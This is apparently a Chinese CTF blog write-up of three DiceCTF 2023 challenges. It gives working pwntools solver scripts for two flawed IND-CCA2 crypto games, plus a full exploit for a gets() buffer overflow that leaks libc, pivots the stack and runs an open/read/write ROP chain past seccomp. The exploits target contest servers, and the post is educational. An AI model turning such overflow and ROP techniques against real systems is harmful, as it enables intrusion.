[DiceCTF 2023] 3个简单题

过年又赶上羊了,基本上一个月休息,也没作个题。今年第一次,题都不会了。只作了3个简单小题。

Crypto/Provably Secure

题目提供了加密和解密功能,首先生成两个密钥key0,key1。用户先输入两个明文,系统生成一个0,1的随机数,加密模块通过随机数选择其中一个密文,生成随机值作为m0,然后与输入异或得到m1,分别用key0,key1加密后返回连到一起的密文。解密函数将用户输入的密文分开两段,分别用key0,key1解密后异或返回。猜对随机数128次即可。

有一个检查函数,禁止输入输出过的值,不过由于没加hex会导致检查无效。

#!/usr/local/bin/python

# Normally you have unlimited encryption and decryption query requests in the IND-CCA2 game.
# For performance reasons, my definition of unlimited is 8 lol

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
from secrets import randbits
from os import urandom
from Crypto.Util.strxor import strxor

def encrypt(pk0, pk1, msg):
    r = urandom(16)
    r_prime = strxor(r, msg)
    ct0 = pk0.encrypt(r, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
                         algorithm=hashes.SHA256(), label=None))
    ct1 = pk1.encrypt(r_prime, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()), 
                         algorithm=hashes.SHA256(), label=None))
    return ct0.hex() + ct1.hex()


def decrypt(key0, key1, ct):
    ct0 = ct[:256]
    ct1 = ct[256:]
    r0 = key0.decrypt(ct0, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
                           algorithm=hashes.SHA256(), label=None))
    r1 = key1.decrypt(ct1, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
                           algorithm=hashes.SHA256(), label=None))
    return strxor(r0, r1)


if __name__ == '__main__':
    print("""Actions:
0) Solve
1) Query Encryption
2) Query Decryption
""")
    for experiment in range(1, 129):
        print("Experiment {}/128".format(experiment))
        key0 = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        key1 = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        pk0 = key0.public_key()
        pk1 = key1.public_key()
        print("pk0 =", pk0.public_numbers().n)
        print("pk1 =", pk1.public_numbers().n)
        m_bit = randbits(1)
        seen_ct = set()
        en_count = 0
        de_count = 0

        while True:
            choice = int(input("Action: "))
            if choice == 0:
                guess = int(input("m_bit guess: "))
                if (guess == m_bit):
                    print("Correct!")
                    break
                else:
                    print("Wrong!")
                    exit(0)
            elif choice == 1:
                en_count += 1
                if (en_count > 8):
                    print("You've run out of encryptions!") #00000000000000000000000000000000
                    exit(0)
                m0 = bytes.fromhex(input("m0 (16 byte hexstring): ").strip())
                m1 = bytes.fromhex(input("m1 (16 byte hexstring): ").strip())
                if len(m0) != 16 or len(m1) != 16:
                    print("Must be 16 bytes!")
                    exit(0)
                msg = m0 if m_bit == 0 else m1
                ct = encrypt(pk0, pk1, msg)
                seen_ct.add(ct)
                print(ct)
            
            elif choice == 2:
                de_count += 1
                if (de_count > 8):
                    print("You've run out of decryptions!")
                    exit(0)
                in_ct = bytes.fromhex(input("ct (512 byte hexstring): ").strip())
                if len(in_ct) != 512:
                    print("Must be 512 bytes!")
                    exit(0)
                if in_ct in seen_ct:  #bytes,hex()不进行比较
                    print("Cannot query decryption on seen ciphertext!")
                    exit(0)
                print(decrypt(key0, key1, in_ct).hex())

    with open('flag.txt', 'r') as f:
        print("Flag: " + f.read().strip())

由于查重的检查无效,所以直接把输出的密文输入即可得到两个明文之一,就能判断是哪个密文。

from pwn import *

p = remote('mc.ax', 31493)
context.log_level = 'debug'

for i in range(128):
    p.sendlineafter(b"Action: ", b'1')
    p.sendlineafter(b"m0 (16 byte hexstring): ", b'0'*32)
    p.sendlineafter(b"m1 (16 byte hexstring): ", b'1'*32)
    enc = p.recvline().strip()
    
    p.sendlineafter(b"Action: ", b'2')
    p.sendlineafter(b"ct (512 byte hexstring): ", enc)
    m = p.recvline().strip()
    
    p.sendlineafter(b"Action: ", b'0')
    if m == b'0'*32:
        p.sendlineafter(b"m_bit guess: ",b'0')
    else:
        p.sendlineafter(b"m_bit guess: ",b'1')

print(p.recvline())
#b'Flag: dice{yeah_I_lost_like_10_points_on_that_proof_lmao}\n' 

Crypto/Provable Secure2

2和1只有检查查重这的区别,填了这个坑。

漏洞在于允许加密解密多次(最多8次),但使用相同的密钥。

                if in_ct.hex() in seen_ct:
                    print("Cannot query decryption on seen ciphertext!")
                    exit(0)

先进行加密第1次输入0和1,第2次输入0和2,如果随机值是0则两次加密都使用0异或,随机值不变。发送第1次的前半部分和第2次的后半部分密文进行解密得到r1^r2,再发送第2次的前半部分和第1次的后半部分密文得到的也是r1^r2,两次相同则说明随机值是0

from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long


p = remote('mc.ax', 31497)
context.log_level = 'debug'

for i in range(128):
    p.recvuntil(b"pk0 =")
    n1 = int(p.recvline())

    p.recvuntil(b"pk1 =")
    n2 = int(p.recvline())

    p.sendlineafter(b"Action: ", b'1')
    p.sendlineafter(b"m0 (16 byte hexstring): ", b'0'*32)
    p.sendlineafter(b"m1 (16 byte hexstring): ", b'1'*32)
    enc1 = p.recvline().strip()
    
    p.sendlineafter(b"Action: ", b'1')
    p.sendlineafter(b"m0 (16 byte hexstring): ", b'0'*32)
    p.sendlineafter(b"m1 (16 byte hexstring): ", b'2'*32)
    enc2 = p.recvline().strip()
   
    p.sendlineafter(b"Action: ", b'2')
    p.sendlineafter(b"ct (512 byte hexstring): ", enc1[:512]+enc2[512:])
    m1 = p.recvline().strip()
    
    p.sendlineafter(b"Action: ", b'2')
    p.sendlineafter(b"ct (512 byte hexstring): ", enc2[:512]+enc1[512:])
    m2 = p.recvline().strip()

    p.sendlineafter(b"Action: ", b'0')
    if m1 == m2:
        p.sendlineafter(b"m_bit guess: ",b'0')
    else:
        p.sendlineafter(b"m_bit guess: ",b'1')

print(p.recvline())

#b'Flag: dice{my_professor_would_not_be_proud_of_me}\n'

后边的rsa都开始搞PKCS1_OAEP填充,等着看别的WP学。不过高手好像都不怎么写。

pwn/bop

这个pwn也很简单,先是一个printf然后gets有溢出

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  printf("Do you bop? ");
  return gets(v4);
}

有两个小卡点(这个卡点不是出题人出的),第一是没告诉libc,原来一直是用libc.rip这个网站恰好挂了。老网站libc.blukat.me这个年久失修了,2.29以后的都没有,恰巧这题的libc是2.31

在网上找到几个LibcSeacher基本上都是久不更新的。最后找到一个这个libc-2.36都有。

git clone https://github.com/niklasb/libc-database.git
┌──(kali㉿kali)-[~/libc-database]
└─$ ./find printf c90 gets 970 setbuf ad0
ubuntu-glibc (libc6_2.31-0ubuntu9.9_amd64)

第二个点在系统使用了seccomp只允许open,read,write显然需要一个ORW的rop,只是libc-2.31已经不再使用open函数,64位用的open64调用openat。不过2.31保留了syscall可以直接通过syscall调用open

由于函数结尾用的是leave ret这里溢出后破坏rbp,这里用bss的地址进行一次移栈,同时把flag.txt放进去。

from pwn import *

#p = process('./bop')
p = remote('mc.ax', 30284)

context(arch='amd64', log_level='debug')

pop_rdi = 0x00000000004013d3 # pop rdi ; ret
pop_rsi = 0x00000000004013d1 # pop rsi ; pop r15 ; ret

elf = ELF('./bop')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

bss = 0x404800
rop = flat(b'A'*0x20, bss, pop_rdi, elf.got['setbuf'], 0x401348)
p.sendlineafter(b"Do you bop? ", rop)

libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['setbuf']

pop_rsi = libc.address + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc.address + 0x0000000000142c92 # pop rdx ; ret

rop = flat(b'flag.txt',b'\x00'*0x18, 0x404800, pop_rdi, 2, pop_rsi, bss-0x20, pop_rdx, 4, libc.sym['syscall'], pop_rdi, 3 ,pop_rsi, bss+0x200, pop_rdx, 0x50, libc.sym['read'], pop_rdi, 1, pop_rsi, bss+0x200, pop_rdx, 0x50, libc.sym['write'])
p.sendline(rop)

print(p.recv(0x50))

p.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值